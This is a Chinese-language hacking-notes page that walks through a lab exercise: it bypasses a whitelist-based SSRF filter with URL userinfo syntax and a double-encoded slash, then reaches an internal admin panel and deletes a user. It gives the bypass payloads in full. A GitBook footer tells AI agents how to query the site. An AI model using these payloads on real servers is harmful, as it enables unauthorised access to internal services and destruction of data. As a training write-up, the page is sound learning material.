> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/ssrf/ssrf-with-whitelist-based-filter.md).

# 基于白名单过滤的 SSRF

### 基于白名单的 SSRF 输入过滤

库存检查功能会向内部系统发送请求。/ 目标是修改中使用的 URL `stockApi` 参数，以访问位于以下地址的管理界面 `HTTP://localhost/admin`，然后删除该用户 **carlos**。/ 开发者已经实施了一个基于 **已授权主机白名单**的防 SSRF 防护，必须绕过它。

```javascript
stockApi=http://stock.weliketoshop.net:8080/product/stock/check?productId=1%26storeId=1
```

#### **过滤器分析**

该应用只允许向以下主机发送请求：

```bash
stockApi=http://127.0.0.1/admin
```

<figure><img src="/files/2c13431f387979883e8c6279bc10978e8fbe3070" alt=""><figcaption></figcaption></figure>

如果我们将 URL 改为 `localhost` 或内部地址，就会得到以下错误：

外部库存检查主机必须是 stock.weliketoshop.net

#### **绕过白名单**

思路是使用 `username:password@host` URL 语法。/ 这种方法使我们能够 **强制白名单验证的主机出现在“authority”** 部分中，同时实际上将请求定向到 `localhost`.

```bash
http://username:password@website.com
```

使用的载荷：

```bash
stockApi=http://localhost:80%252f@stock.weliketoshop.net:8080
```

使用 `/` (`%252f`) 双重编码，服务器会正确解释重定向到 `localhost`.

这使得可以访问内部管理面板。

<figure><img src="/files/4e47418f6487c5aa5623cf7c9680f62b476fa5d4" alt=""><figcaption></figcaption></figure>

#### **删除 Carlos 用户**

一旦绕过可用，就直接调用删除 URL：

{% code overflow="wrap" %}

```bash
stockApi=http://localhost:80%252f@stock.weliketoshop.net:8080/admin?delete=username=carlos
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/ssrf/ssrf-with-whitelist-based-filter.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
